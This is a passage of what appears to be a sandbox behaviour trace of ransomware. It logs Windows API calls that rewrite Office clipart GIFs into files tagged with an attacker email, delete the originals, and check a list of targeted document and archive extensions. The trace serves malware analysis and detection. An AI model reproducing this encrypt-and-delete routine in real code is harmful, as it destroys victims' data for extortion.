dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.514] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.514] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0048.514] GetLastError () returned 0x0 [0048.514] ReadFile (in: hFile=0x210, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x1c30, lpOverlapped=0x0) returned 1 [0048.803] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1c40, lpOverlapped=0x0) returned 1 [0048.804] ReadFile (in: hFile=0x210, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.804] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.805] SetEndOfFile (hFile=0x204) returned 1 [0048.805] CloseHandle (hObject=0x204) returned 1 [0048.805] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.805] SetEndOfFile (hFile=0x210) returned 1 [0048.806] CloseHandle (hObject=0x210) returned 1 [0048.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.806] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0048.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0048.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0048.806] lstrlenW (lpString=".doc") returned 4 [0048.806] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.806] lstrlenW (lpString=".docx") returned 5 [0048.806] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.806] lstrlenW (lpString=".pdf") returned 4 [0048.806] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.806] lstrlenW (lpString=".xls") returned 4 [0048.806] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.806] lstrlenW (lpString=".xlsx") returned 5 [0048.806] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.806] lstrlenW (lpString=".ppt") returned 4 [0048.806] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0048.807] lstrlenW (lpString=".zip") returned 4 [0048.807] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.807] lstrlenW (lpString=".rar") returned 4 [0048.807] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.807] lstrlenW (lpString=".bz2") returned 4 [0048.807] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.807] lstrlenW (lpString=".7z") returned 3 [0048.807] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0048.807] lstrlenW (lpString=".dbf") returned 4 [0048.807] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0048.807] lstrlenW (lpString=".1cd") returned 4 [0048.807] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0048.807] lstrlenW (lpString=".jpg") returned 4 [0048.807] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.807] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=15308) returned 1 [0048.807] CloseHandle (hObject=0x210) returned 1 [0048.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0048.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.808] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.808] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0048.808] GetLastError () returned 0x0 [0048.808] ReadFile (in: hFile=0x210, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x3bcc, lpOverlapped=0x0) returned 1 [0048.812] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x3bd0, lpOverlapped=0x0) returned 1 [0048.813] ReadFile (in: hFile=0x210, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.813] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.813] SetEndOfFile (hFile=0x204) returned 1 [0048.813] CloseHandle (hObject=0x204) returned 1 [0048.813] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.813] SetEndOfFile (hFile=0x210) returned 1 [0048.814] CloseHandle (hObject=0x210) returned 1 [0048.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0048.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0048.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0048.815] lstrlenW (lpString=".doc") returned 4 [0048.815] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.815] lstrlenW (lpString=".docx") returned 5 [0048.815] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.815] lstrlenW (lpString=".pdf") returned 4 [0048.815] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.815] lstrlenW (lpString=".xls") returned 4 [0048.815] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.815] lstrlenW (lpString=".xlsx") returned 5 [0048.815] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.815] lstrlenW (lpString=".ppt") returned 4 [0048.815] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0048.815] lstrlenW (lpString=".zip") returned 4 [0048.815] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.815] lstrlenW (lpString=".rar") returned 4 [0048.815] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.815] lstrlenW (lpString=".bz2") returned 4 [0048.815] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.815] lstrlenW (lpString=".7z") returned 3 [0048.815] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0048.815] lstrlenW (lpString=".dbf") returned 4 [0048.815] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0048.815] lstrlenW (lpString=".1cd") returned 4 [0048.815] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0048.815] lstrlenW (lpString=".jpg") returned 4 [0048.815] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.816] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=5315) returned 1 [0048.816] CloseHandle (hObject=0x210) returned 1 [0048.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20 [0048.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.816] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.816] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0048.817] GetLastError () returned 0x0 [0048.817] ReadFile (in: hFile=0x210, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x14c3, lpOverlapped=0x0) returned 1 [0048.818] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0048.819] ReadFile (in: hFile=0x210, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.819] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.819] SetEndOfFile (hFile=0x204) returned 1 [0048.819] CloseHandle (hObject=0x204) returned 1 [0048.820] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.820] SetEndOfFile (hFile=0x210) returned 1 [0048.820] CloseHandle (hObject=0x210) returned 1 [0048.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0048.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0048.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0048.821] lstrlenW (lpString=".doc") returned 4 [0048.821] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.821] lstrlenW (lpString=".docx") returned 5 [0048.821] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.821] lstrlenW (lpString=".pdf") returned 4 [0048.821] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.821] lstrlenW (lpString=".xls") returned 4 [0048.821] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.821] lstrlenW (lpString=".xlsx") returned 5 [0048.821] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.821] lstrlenW (lpString=".ppt") returned 4 [0048.821] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0048.821] lstrlenW (lpString=".zip") returned 4 [0048.821] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.821] lstrlenW (lpString=".rar") returned 4 [0048.821] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.821] lstrlenW (lpString=".bz2") returned 4 [0048.822] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.822] lstrlenW (lpString=".7z") returned 3 [0048.822] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0048.822] lstrlenW (lpString=".dbf") returned 4 [0048.822] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0048.822] lstrlenW (lpString=".1cd") returned 4 [0048.822] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0048.822] lstrlenW (lpString=".jpg") returned 4 [0048.822] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.822] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=4955) returned 1 [0048.822] CloseHandle (hObject=0x210) returned 1 [0048.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20 [0048.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.823] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.823] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0048.823] GetLastError () returned 0x0 [0048.823] ReadFile (in: hFile=0x210, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x135b, lpOverlapped=0x0) returned 1 [0048.825] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1360, lpOverlapped=0x0) returned 1 [0048.826] ReadFile (in: hFile=0x210, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.826] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.826] SetEndOfFile (hFile=0x204) returned 1 [0048.826] CloseHandle (hObject=0x204) returned 1 [0048.826] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.826] SetEndOfFile (hFile=0x210) returned 1 [0048.827] CloseHandle (hObject=0x210) returned 1 [0048.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0048.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0048.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0048.828] lstrlenW (lpString=".doc") returned 4 [0048.828] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.828] lstrlenW (lpString=".docx") returned 5 [0048.828] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.828] lstrlenW (lpString=".pdf") returned 4 [0048.828] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.828] lstrlenW (lpString=".xls") returned 4 [0048.828] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.828] lstrlenW (lpString=".xlsx") returned 5 [0048.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.828] lstrlenW (lpString=".ppt") returned 4 [0048.828] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0048.828] lstrlenW (lpString=".zip") returned 4 [0048.828] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.828] lstrlenW (lpString=".rar") returned 4 [0048.828] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.828] lstrlenW (lpString=".bz2") returned 4 [0048.828] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.828] lstrlenW (lpString=".7z") returned 3 [0048.828] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0048.829] lstrlenW (lpString=".dbf") returned 4 [0048.829] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0048.829] lstrlenW (lpString=".1cd") returned 4 [0048.829] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0048.829] lstrlenW (lpString=".jpg") returned 4 [0048.829] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.829] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=5030) returned 1 [0048.829] CloseHandle (hObject=0x210) returned 1 [0048.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20 [0048.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.829] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.829] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0048.830] GetLastError () returned 0x0 [0048.830] ReadFile (in: hFile=0x210, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x13a6, lpOverlapped=0x0) returned 1 [0048.831] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x13b0, lpOverlapped=0x0) returned 1 [0048.832] ReadFile (in: hFile=0x210, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.832] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.832] SetEndOfFile (hFile=0x204) returned 1 [0048.832] CloseHandle (hObject=0x204) returned 1 [0048.832] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.832] SetEndOfFile (hFile=0x210) returned 1 [0048.833] CloseHandle (hObject=0x210) returned 1 [0048.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.833] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0048.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0048.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0048.834] lstrlenW (lpString=".doc") returned 4 [0048.834] 